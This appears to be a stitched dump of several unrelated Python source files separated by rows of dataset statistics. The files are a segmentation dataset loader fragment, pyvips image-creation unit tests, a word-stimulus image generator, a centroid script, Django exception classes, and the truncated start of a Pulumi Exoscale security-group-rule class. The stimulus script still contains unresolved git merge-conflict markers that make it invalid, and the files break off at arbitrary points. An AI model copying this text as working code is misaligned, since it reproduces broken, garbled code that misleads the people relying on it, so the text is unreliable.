3: ignore_label, 4: ignore_label, 5: ignore_label, 6: ignore_label,
7: 0, 8: 1, 9: ignore_label, 10: ignore_label, 11: 2, 12: 3, 13: 4,
14: ignore_label, 15: ignore_label, 16: ignore_label, 17: 5,
18: ignore_label, 19: 6, 20: 7, 21: 8, 22: 9, 23: 10, 24: 11, 25: 12, 26: 13, 27: 14,
28: 15, 29: ignore_label, 30: ignore_label, 31: 16, 32: 17, 33: 18}
def __len__(self):
return len(self.files)
def __getitem__(self, index):
datafiles = self.files[index]
image = cv2.imread(datafiles["img"], cv2.IMREAD_COLOR)
label = cv2.imread(datafiles["label"], cv2.IMREAD_GRAYSCALE)
if not os.path.exists(datafiles["img"]): # (26 out of 25000 images are missing)
return self.__getitem__(0)
label = id2trainId(label, self.id_to_trainid)
size = image.shape
name = datafiles["name"]
image = np.asarray(image, np.float32)
mean = (102.9801, 115.9465, 122.7717)
image = image[:,:,::-1]
image -= mean
image = image.transpose((2, 0, 1))
return image.copy(), label.copy(), np.array(size), name
| 39.439093
| 115
| 0.555164
| 1,852
| 13,922
| 3.957883
| 0.102052
| 0.117053
| 0.030014
| 0.014188
| 0.855935
| 0.843383
| 0.831651
| 0.831651
| 0.822374
| 0.812005
| 0
| 0.065222
| 0.297371
| 13,922
| 352
| 116
| 39.551136
| 0.684114
| 0.017454
| 0
| 0.80597
| 1
| 0
| 0.057316
| 0.014385
| 0
| 0
| 0
| 0
| 0
| 1
| 0.063433
| false
| 0
| 0.029851
| 0.018657
| 0.16791
| 0.026119
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
98046898a5892d10b01258675fe0bfad349aede5
| 16,056
|
py
|
Python
|
pyvips/tests/test_create.py
|
kleisauke/pyvips
|
ae3b0c09669cfb662e773e8ae69cf589ac15e320
|
[
"MIT"
] | null | null | null |
pyvips/tests/test_create.py
|
kleisauke/pyvips
|
ae3b0c09669cfb662e773e8ae69cf589ac15e320
|
[
"MIT"
] | null | null | null |
pyvips/tests/test_create.py
|
kleisauke/pyvips
|
ae3b0c09669cfb662e773e8ae69cf589ac15e320
|
[
"MIT"
] | null | null | null |
# vim: set fileencoding=utf-8 :
import unittest
import pyvips
from .helpers import PyvipsTester
class TestCreate(PyvipsTester):
def test_black(self):
im = pyvips.Image.black(100, 100)
self.assertEqual(im.width, 100)
self.assertEqual(im.height, 100)
self.assertEqual(im.format, pyvips.BandFormat.UCHAR)
self.assertEqual(im.bands, 1)
for i in range(0, 100):
pixel = im(i, i)
self.assertEqual(len(pixel), 1)
self.assertEqual(pixel[0], 0)
im = pyvips.Image.black(100, 100, bands=3)
self.assertEqual(im.width, 100)
self.assertEqual(im.height, 100)
self.assertEqual(im.format, pyvips.BandFormat.UCHAR)
self.assertEqual(im.bands, 3)
for i in range(0, 100):
pixel = im(i, i)
self.assertEqual(len(pixel), 3)
self.assertAlmostEqualObjects(pixel, [0, 0, 0])
def test_buildlut(self):
M = pyvips.Image.new_from_array([[0, 0],
[255, 100]])
lut = M.buildlut()
self.assertEqual(lut.width, 256)
self.assertEqual(lut.height, 1)
self.assertEqual(lut.bands, 1)
p = lut(0, 0)
self.assertEqual(p[0], 0.0)
p = lut(255, 0)
self.assertEqual(p[0], 100.0)
p = lut(10, 0)
self.assertEqual(p[0], 100 * 10.0 / 255.0)
M = pyvips.Image.new_from_array([[0, 0, 100],
[255, 100, 0],
[128, 10, 90]])
lut = M.buildlut()
self.assertEqual(lut.width, 256)
self.assertEqual(lut.height, 1)
self.assertEqual(lut.bands, 2)
p = lut(0, 0)
self.assertAlmostEqualObjects(p, [0.0, 100.0])
p = lut(64, 0)
self.assertAlmostEqualObjects(p, [5.0, 95.0])
def test_eye(self):
im = pyvips.Image.eye(100, 90)
self.assertEqual(im.width, 100)
self.assertEqual(im.height, 90)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
self.assertEqual(im.max(), 1.0)
self.assertEqual(im.min(), -1.0)
im = pyvips.Image.eye(100, 90, uchar=True)
self.assertEqual(im.width, 100)
self.assertEqual(im.height, 90)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.UCHAR)
self.assertEqual(im.max(), 255.0)
self.assertEqual(im.min(), 0.0)
def test_fractsurf(self):
im = pyvips.Image.fractsurf(100, 90, 2.5)
self.assertEqual(im.width, 100)
self.assertEqual(im.height, 90)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
def test_gaussmat(self):
im = pyvips.Image.gaussmat(1, 0.1)
self.assertEqual(im.width, 5)
self.assertEqual(im.height, 5)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.DOUBLE)
self.assertEqual(im.max(), 20)
total = im.avg() * im.width * im.height
scale = im.get("scale")
self.assertEqual(total, scale)
p = im(im.width / 2, im.height / 2)
self.assertEqual(p[0], 20.0)
im = pyvips.Image.gaussmat(1, 0.1,
separable=True, precision="float")
self.assertEqual(im.width, 5)
self.assertEqual(im.height, 1)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.DOUBLE)
self.assertEqual(im.max(), 1.0)
total = im.avg() * im.width * im.height
scale = im.get("scale")
self.assertEqual(total, scale)
p = im(im.width / 2, im.height / 2)
self.assertEqual(p[0], 1.0)
def test_gaussnoise(self):
im = pyvips.Image.gaussnoise(100, 90)
self.assertEqual(im.width, 100)
self.assertEqual(im.height, 90)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
im = pyvips.Image.gaussnoise(100, 90, sigma=10, mean=100)
self.assertEqual(im.width, 100)
self.assertEqual(im.height, 90)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
sigma = im.deviate()
mean = im.avg()
self.assertAlmostEqual(sigma, 10, places=0)
self.assertAlmostEqual(mean, 100, places=0)
def test_grey(self):
im = pyvips.Image.grey(100, 90)
self.assertEqual(im.width, 100)
self.assertEqual(im.height, 90)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
p = im(0, 0)
self.assertEqual(p[0], 0.0)
p = im(99, 0)
self.assertEqual(p[0], 1.0)
p = im(0, 89)
self.assertEqual(p[0], 0.0)
p = im(99, 89)
self.assertEqual(p[0], 1.0)
im = pyvips.Image.grey(100, 90, uchar=True)
self.assertEqual(im.width, 100)
self.assertEqual(im.height, 90)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.UCHAR)
p = im(0, 0)
self.assertEqual(p[0], 0)
p = im(99, 0)
self.assertEqual(p[0], 255)
p = im(0, 89)
self.assertEqual(p[0], 0)
p = im(99, 89)
self.assertEqual(p[0], 255)
def test_identity(self):
im = pyvips.Image.identity()
self.assertEqual(im.width, 256)
self.assertEqual(im.height, 1)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.UCHAR)
p = im(0, 0)
self.assertEqual(p[0], 0.0)
p = im(255, 0)
self.assertEqual(p[0], 255.0)
p = im(128, 0)
self.assertEqual(p[0], 128.0)
im = pyvips.Image.identity(ushort=True)
self.assertEqual(im.width, 65536)
self.assertEqual(im.height, 1)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.USHORT)
p = im(0, 0)
self.assertEqual(p[0], 0)
p = im(99, 0)
self.assertEqual(p[0], 99)
p = im(65535, 0)
self.assertEqual(p[0], 65535)
def test_invertlut(self):
lut = pyvips.Image.new_from_array([[0.1, 0.2, 0.3, 0.1],
[0.2, 0.4, 0.4, 0.2],
[0.7, 0.5, 0.6, 0.3]])
im = lut.invertlut()
self.assertEqual(im.width, 256)
self.assertEqual(im.height, 1)
self.assertEqual(im.bands, 3)
self.assertEqual(im.format, pyvips.BandFormat.DOUBLE)
p = im(0, 0)
self.assertAlmostEqualObjects(p, [0, 0, 0])
p = im(255, 0)
self.assertAlmostEqualObjects(p, [1, 1, 1])
p = im(0.2 * 255, 0)
self.assertAlmostEqual(p[0], 0.1, places=2)
p = im(0.3 * 255, 0)
self.assertAlmostEqual(p[1], 0.1, places=2)
p = im(0.1 * 255, 0)
self.assertAlmostEqual(p[2], 0.1, places=2)
def test_logmat(self):
im = pyvips.Image.logmat(1, 0.1)
self.assertEqual(im.width, 7)
self.assertEqual(im.height, 7)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.DOUBLE)
self.assertEqual(im.max(), 20)
total = im.avg() * im.width * im.height
scale = im.get("scale")
self.assertEqual(total, scale)
p = im(im.width / 2, im.height / 2)
self.assertEqual(p[0], 20.0)
im = pyvips.Image.logmat(1, 0.1,
separable=True, precision="float")
self.assertEqual(im.width, 7)
self.assertEqual(im.height, 1)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.DOUBLE)
self.assertEqual(im.max(), 1.0)
total = im.avg() * im.width * im.height
scale = im.get("scale")
self.assertEqual(total, scale)
p = im(im.width / 2, im.height / 2)
self.assertEqual(p[0], 1.0)
def test_mask_butterworth_band(self):
im = pyvips.Image.mask_butterworth_band(128, 128, 2,
0.5, 0.5, 0.7,
0.1)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
self.assertAlmostEqual(im.max(), 1, places=2)
p = im(32, 32)
self.assertEqual(p[0], 1.0)
im = pyvips.Image.mask_butterworth_band(128, 128, 2,
0.5, 0.5, 0.7,
0.1, uchar=True, optical=True)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.UCHAR)
self.assertEqual(im.max(), 255)
p = im(32, 32)
self.assertEqual(p[0], 255.0)
p = im(64, 64)
self.assertEqual(p[0], 255.0)
im = pyvips.Image.mask_butterworth_band(128, 128, 2,
0.5, 0.5, 0.7,
0.1, uchar=True, optical=True,
nodc=True)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.UCHAR)
self.assertEqual(im.max(), 255)
p = im(32, 32)
self.assertEqual(p[0], 255.0)
p = im(64, 64)
self.assertNotEqual(p[0], 255)
def test_mask_butterworth(self):
im = pyvips.Image.mask_butterworth(128, 128, 2, 0.7, 0.1,
nodc=True)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
self.assertAlmostEqual(im.min(), 0, places=2)
p = im(0, 0)
self.assertEqual(p[0], 0.0)
v, x, y = im.maxpos()
self.assertEqual(x, 64)
self.assertEqual(y, 64)
im = pyvips.Image.mask_butterworth(128, 128, 2, 0.7, 0.1,
optical=True, uchar=True)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.UCHAR)
self.assertAlmostEqual(im.min(), 0, places=2)
p = im(64, 64)
self.assertEqual(p[0], 255)
def test_mask_butterworth_ring(self):
im = pyvips.Image.mask_butterworth_ring(128, 128, 2, 0.7, 0.1, 0.5,
nodc=True)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
p = im(45, 0)
self.assertAlmostEqual(p[0], 1.0, places=4)
v, x, y = im.minpos()
self.assertEqual(x, 64)
self.assertEqual(y, 64)
def test_mask_fractal(self):
im = pyvips.Image.mask_fractal(128, 128, 2.3)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
def test_mask_gaussian_band(self):
im = pyvips.Image.mask_gaussian_band(128, 128, 0.5, 0.5, 0.7, 0.1)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
self.assertAlmostEqual(im.max(), 1, places=2)
p = im(32, 32)
self.assertEqual(p[0], 1.0)
def test_mask_gaussian(self):
im = pyvips.Image.mask_gaussian(128, 128, 0.7, 0.1,
nodc=True)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
self.assertAlmostEqual(im.min(), 0, places=2)
p = im(0, 0)
self.assertEqual(p[0], 0.0)
def test_mask_gaussian_ring(self):
im = pyvips.Image.mask_gaussian_ring(128, 128, 0.7, 0.1, 0.5,
nodc=True)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
p = im(45, 0)
self.assertAlmostEqual(p[0], 1.0, places=3)
def test_mask_ideal_band(self):
im = pyvips.Image.mask_ideal_band(128, 128, 0.5, 0.5, 0.7)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
self.assertAlmostEqual(im.max(), 1, places=2)
p = im(32, 32)
self.assertEqual(p[0], 1.0)
def test_mask_ideal(self):
im = pyvips.Image.mask_ideal(128, 128, 0.7,
nodc=True)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
self.assertAlmostEqual(im.min(), 0, places=2)
p = im(0, 0)
self.assertEqual(p[0], 0.0)
def test_mask_gaussian_ring_2(self):
im = pyvips.Image.mask_ideal_ring(128, 128, 0.7, 0.5,
nodc=True)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
p = im(45, 0)
self.assertAlmostEqual(p[0], 1.0, places=3)
def test_sines(self):
im = pyvips.Image.sines(128, 128)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
def test_text(self):
if pyvips.type_find("VipsOperation", "text") != 0:
im = pyvips.Image.text("Hello, world!")
self.assertTrue(im.width > 10)
self.assertTrue(im.height > 10)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.UCHAR)
self.assertEqual(im.max(), 255)
self.assertEqual(im.min(), 0)
def test_tonelut(self):
im = pyvips.Image.tonelut()
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.USHORT)
self.assertEqual(im.width, 32768)
self.assertEqual(im.height, 1)
self.assertTrue(im.hist_ismonotonic())
def test_xyz(self):
im = pyvips.Image.xyz(128, 128)
self.assertEqual(im.bands, 2)
self.assertEqual(im.format, pyvips.BandFormat.UINT)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
p = im(45, 35)
self.assertAlmostEqualObjects(p, [45, 35])
def test_zone(self):
im = pyvips.Image.zone(128, 128)
self.assertEqual(im.width, 128)
self.assertEqual(im.height, 128)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
def test_worley(self):
im = pyvips.Image.worley(512, 512)
self.assertEqual(im.width, 512)
self.assertEqual(im.height, 512)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
def test_perlin(self):
im = pyvips.Image.perlin(512, 512)
self.assertEqual(im.width, 512)
self.assertEqual(im.height, 512)
self.assertEqual(im.bands, 1)
self.assertEqual(im.format, pyvips.BandFormat.FLOAT)
if __name__ == '__main__':
unittest.main()
| 36.910345
| 78
| 0.563714
| 2,116
| 16,056
| 4.23913
| 0.058601
| 0.337793
| 0.291862
| 0.082274
| 0.863211
| 0.827982
| 0.765329
| 0.736343
| 0.72029
| 0.686622
| 0
| 0.081798
| 0.300262
| 16,056
| 434
| 79
| 36.995392
| 0.7166
| 0.001806
| 0
| 0.670157
| 0
| 0
| 0.004243
| 0
| 0
| 0
| 0
| 0
| 0.594241
| 1
| 0.070681
| false
| 0
| 0.007853
| 0
| 0.081152
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
e21f6c475bc6a50cad038bbd13f47ae5c042793d
| 3,888
|
py
|
Python
|
scripts/generate_image_per_word.py
|
nmningmei/uncon_semantic
|
40a55f757d31fbf156a4d79f42e949c7230dde43
|
[
"Apache-2.0"
] | null | null | null |
scripts/generate_image_per_word.py
|
nmningmei/uncon_semantic
|
40a55f757d31fbf156a4d79f42e949c7230dde43
|
[
"Apache-2.0"
] | null | null | null |
scripts/generate_image_per_word.py
|
nmningmei/uncon_semantic
|
40a55f757d31fbf156a4d79f42e949c7230dde43
|
[
"Apache-2.0"
] | null | null | null |
<<<<<<< HEAD
# -*- coding: utf-8 -*-
"""
Created on Tue Feb 18 16:03:27 2020
@author: ning
"""
import os
import pandas as pd
from matplotlib import pyplot as plt
plt.style.use('dark_background')
df = pd.read_csv('../data/sampled.csv',encoding = 'latin-1')
figure_dir = '../stimuli_figure'
if not os.path.exists(figure_dir):
os.mkdir(figure_dir)
fontsize = 16
image_size_pixel = 512
dpi = 300
pathes = []
for ii,row in df.iterrows():
row
fig,ax = plt.subplots(figsize = (image_size_pixel/dpi,image_size_pixel/dpi))
ax.text(0.45,0.45,row['Word'].lower(),
ha = 'center',
fontsize = fontsize,)
ax.axis('off')
pathes.append(os.path.join(figure_dir,f'{row["English"].lower()}.jpeg'))
fig.savefig(os.path.join(figure_dir,f'{row["English"].lower()}.jpeg'),
dpi = 300,
bbox_inches = 'tight')
plt.close('all')
df['PATH_spanish'] = pathes
#pathes = []
#for ii,row in df.iterrows():
# row
# fig,ax = plt.subplots(figsize = (image_size_pixel/dpi,image_size_pixel/dpi))
# ax.text(0.45,0.45,row['English'].lower(),
# ha = 'center',
# fontsize = fontsize,)
# ax.axis('off')
# pathes.append(os.path.join(figure_dir,f'{row["English"].upper()}.jpeg'))
# fig.savefig(os.path.join(figure_dir,f'{row["English"].upper()}.jpeg'),
# dpi = 300,
# bbox_inches = 'tight')
# plt.close('all')
#
#df['PATH_english'] = pathes
columns = []
for col in df.columns:
if '\n' in col:
col = col.replace('\n','_')
columns.append(col)
df.columns = columns
df.to_csv('../data/sampled_words.csv',encoding = 'latin-1',index = False)
=======
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Feb 18 16:11:23 2020
@author: nmei
"""
import os
import pandas as pd
import numpy as np
from matplotlib import pyplot as plt
plt.style.use('dark_background')
df = pd.read_csv('../data/sampled.csv',encoding = 'latin-1')
figure_dir = '../stimuli_figure'
if not os.path.exists(figure_dir):
os.mkdir(figure_dir)
dpi = 300
image_size = 512
fontsize = 20
pathes = []
for ii,row in df.iterrows():
fig,ax = plt.subplots(figsize = (image_size/dpi,image_size/dpi))
ax.text(0.45,0.45,row['Word'].lower(),
ha = 'center',
va = 'center',
fontsize = fontsize,
)
ax.axis('off')
plt.gca().set_aspect('equal', adjustable='box')
pathes.append(os.path.join(figure_dir,f'{row["English"].lower()}.jpeg'))
fig.savefig(os.path.join(figure_dir,f'{row["English"].lower()}.jpeg'),
dpi = dpi,
# bbox_inches = 'tight'
)
plt.close('all')
df['PATH_spanish'] = pathes
pathes = []
for ii,row in df.iterrows():
fig,ax = plt.subplots(figsize = (image_size/dpi,image_size/dpi))
ax.text(0.45,0.45,row['English'].lower(),
ha = 'center',
va = 'center',
fontsize = fontsize,
)
ax.axis('off')
plt.gca().set_aspect('equal', adjustable='box')
pathes.append(os.path.join(figure_dir,f'{row["English"].upper()}.jpeg'))
fig.savefig(os.path.join(figure_dir,f'{row["English"].upper()}.jpeg'),
dpi = dpi,
# bbox_inches = 'tight'
)
plt.close('all')
df['PATH_english'] = pathes
columns = []
for col in df.columns:
if '\n' in col:
col = col.replace('\n','_')
columns.append(col)
df.columns = columns
# add varying blank period
df['blank_dur'] = np.random.uniform(low = 0.3,high = 0.7,size = df.shape[0])
df['category'] = df['Category'].map({'animal':'Living_Things',
'object':'Nonliving_Things'})
df.to_csv('../data/sampled_words.csv',encoding = 'latin-1',index = False)
>>>>>>> 5fe83eaa2f078f018ecde81bc7fd2529be564dee
| 28.379562
| 82
| 0.585134
| 536
| 3,888
| 4.143657
| 0.238806
| 0.056731
| 0.03602
| 0.057632
| 0.863575
| 0.863575
| 0.841963
| 0.841963
| 0.841963
| 0.815849
| 0
| 0.034034
| 0.229167
| 3,888
| 136
| 83
| 28.588235
| 0.70704
| 0.17284
| 0
| 0.730337
| 0
| 0
| 0.18224
| 0.074221
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.078652
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
e2669e367587abd2fd3657cfecb994320af3377f
| 1,875
|
py
|
Python
|
test/SearchSpaceAdv/ShapeClassification/shape_class.py
|
schroeder-dewitt/polyomino-self-assembly
|
958a30b360b5377a9938b8b435da9c9b5f0c9635
|
[
"Apache-2.0"
] | null | null | null |
test/SearchSpaceAdv/ShapeClassification/shape_class.py
|
schroeder-dewitt/polyomino-self-assembly
|
958a30b360b5377a9938b8b435da9c9b5f0c9635
|
[
"Apache-2.0"
] | null | null | null |
test/SearchSpaceAdv/ShapeClassification/shape_class.py
|
schroeder-dewitt/polyomino-self-assembly
|
958a30b360b5377a9938b8b435da9c9b5f0c9635
|
[
"Apache-2.0"
] | null | null | null |
import math
#Single Block
list = [[0,0]]
sum_x = 0
sum_y = 0
for i in list:
sum_x += i[0]
sum_y += i[1]
sum_x /= len(list)
sum_y /= len(list)
print "SingleBlock: Grav. (", sum_x, ", ", sum_y, ")"
d_sum_x = 0
d_sum_y = 0
for i in list:
d_sum_x += (i[0]-sum_x)*(i[0]-sum_x)
d_sum_y += (i[1]-sum_y)*(i[1]-sum_y)
print "SingleBlock: ", len(list), ":(", d_sum_x, ", ", d_sum_y, ")"
#QuadroBlock
list = [[0,0], [1,1], [1,0], [0,1]]
sum_x = 0.0
sum_y = 0.0
for i in list:
sum_x += i[0]
sum_y += i[1]
sum_x /= len(list)
sum_y /= len(list)
print "SingleBlock: Grav. (", sum_x, ", ", sum_y, ")"
d_sum_x = 0.0
d_sum_y = 0.0
for i in list:
d_sum_x += (i[0]-sum_x)*(i[0]-sum_x)
d_sum_y += (i[1]-sum_y)*(i[1]-sum_y)
print "SingleBlock: ", len(list), ":(", d_sum_x, ", ", d_sum_y, ")"
#Cath1
list = [[0,0], [1,1], [1,0], [0,1], [-1, 1], [1, 2], [0, -1], [2, 0]]
sum_x = 0.0
sum_y = 0.0
for i in list:
sum_x += i[0]
sum_y += i[1]
sum_x /= len(list)
sum_y /= len(list)
print "SingleBlock: Grav. (", sum_x, ", ", sum_y, ")"
d_sum_x = 0.0
d_sum_y = 0.0
for i in list:
d_sum_x += (i[0]-sum_x)*(i[0]-sum_x)
d_sum_y += (i[1]-sum_y)*(i[1]-sum_y)
print "SingleBlock: ", len(list), ":(", d_sum_x, ", ", d_sum_y, ")"
#Hollow
list = [[0,0], [1,0], [2,0], [2,1], [2, 2], [1, 2], [0, 2], [0, 1]]
sum_x = 0.0
sum_y = 0.0
for i in list:
sum_x += i[0]
sum_y += i[1]
sum_x /= len(list)
sum_y /= len(list)
print "SingleBlock: Grav. (", sum_x, ", ", sum_y, ")"
d_sum_x = 0.0
d_sum_y = 0.0
for i in list:
d_sum_x += (i[0]-sum_x)*(i[0]-sum_x)
d_sum_y += (i[1]-sum_y)*(i[1]-sum_y)
print "SingleBlock: ", len(list), ":(", d_sum_x, ", ", d_sum_y, ")"
d_sum_x = 0.0
d_sum_y = 0.0
for i in list:
d_sum_x += (i[0]-sum_x)*(i[0]-sum_x)
d_sum_y += (i[1]-sum_y)*(i[1]-sum_y)
print "SingleBlock: ", len(list), ":(", d_sum_x, ", ", d_sum_y, ")"
| 23.734177
| 69
| 0.533333
| 419
| 1,875
| 2.119332
| 0.052506
| 0.184685
| 0.084459
| 0.094595
| 0.912162
| 0.908784
| 0.908784
| 0.899775
| 0.899775
| 0.875
| 0
| 0.068758
| 0.201067
| 1,875
| 78
| 70
| 24.038462
| 0.524032
| 0.018133
| 0
| 0.865672
| 0
| 0
| 0.099129
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.014925
| null | null | 0.134328
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
e273a8654b412af7a1b8093ea787cc351214b5b0
| 173
|
py
|
Python
|
django/contrib/formtools/wizard/storage/exceptions.py
|
pomarec/django
|
98514849dce07acfaa224a90a784bba9d97249e5
|
[
"BSD-3-Clause"
] | 285
|
2019-12-23T09:50:21.000Z
|
2021-12-08T09:08:49.000Z
|
django/contrib/formtools/wizard/storage/exceptions.py
|
pomarec/django
|
98514849dce07acfaa224a90a784bba9d97249e5
|
[
"BSD-3-Clause"
] | 18
|
2015-01-14T07:51:48.000Z
|
2021-10-14T01:19:26.000Z
|
django/contrib/formtools/wizard/storage/exceptions.py
|
pomarec/django
|
98514849dce07acfaa224a90a784bba9d97249e5
|
[
"BSD-3-Clause"
] | 70
|
2015-01-01T00:33:24.000Z
|
2021-12-10T03:43:07.000Z
|
from django.core.exceptions import ImproperlyConfigured
class MissingStorage(ImproperlyConfigured):
pass
class NoFileStorageConfigured(ImproperlyConfigured):
pass
| 21.625
| 55
| 0.83815
| 14
| 173
| 10.357143
| 0.714286
| 0.331034
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115607
| 173
| 7
| 56
| 24.714286
| 0.947712
| 0
| 0
| 0.4
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.4
| 0.2
| 0
| 0.6
| 0
| 1
| 0
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
|
0
| 7
|
e27819a9e5bddfb3b75be7b3fe6edd16c8a2c7bc
| 30,901
|
py
|
Python
|
sdk/python/pulumi_exoscale/security_group_rule.py
|
secustor/pulumi-exoscale
|
c805e4bbf896526e46ed168bc96c9c0a3f82adf8
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_exoscale/security_group_rule.py
|
secustor/pulumi-exoscale
|
c805e4bbf896526e46ed168bc96c9c0a3f82adf8
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_exoscale/security_group_rule.py
|
secustor/pulumi-exoscale
|
c805e4bbf896526e46ed168bc96c9c0a3f82adf8
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import _utilities
__all__ = ['SecurityGroupRuleArgs', 'SecurityGroupRule']
@pulumi.input_type
class SecurityGroupRuleArgs:
def __init__(__self__, *,
type: pulumi.Input[str],
cidr: Optional[pulumi.Input[str]] = None,
description: Optional[pulumi.Input[str]] = None,
end_port: Optional[pulumi.Input[int]] = None,
icmp_code: Optional[pulumi.Input[int]] = None,
icmp_type: Optional[pulumi.Input[int]] = None,
protocol: Optional[pulumi.Input[str]] = None,
security_group: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
start_port: Optional[pulumi.Input[int]] = None,
user_security_group: Optional[pulumi.Input[str]] = None,
user_security_group_id: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a SecurityGroupRule resource.
:param pulumi.Input[str] type: The traffic direction to match (`INGRESS` or `EGRESS`).
:param pulumi.Input[str] cidr: A source (for ingress)/destination (for egress) IP subnet (in [CIDR notation][cidr]) to match (conflicts with `user_security_group`/`security_group_id`).
:param pulumi.Input[str] description: A free-form text describing the Security Group rule purpose.
* `start_port`/`end_port` - A `TCP`/`UDP` port range to match.
* `icmp_type`/`icmp_code` - An ICMP/ICMPv6 [type/code][icmp] to match.
:param pulumi.Input[str] protocol: The network protocol to match. Supported values are: `TCP`, `UDP`, `ICMP`, `ICMPv6`, `AH`, `ESP`, `GRE`, `IPIP` and `ALL`.
:param pulumi.Input[str] security_group: The Security Group name the rule applies to.
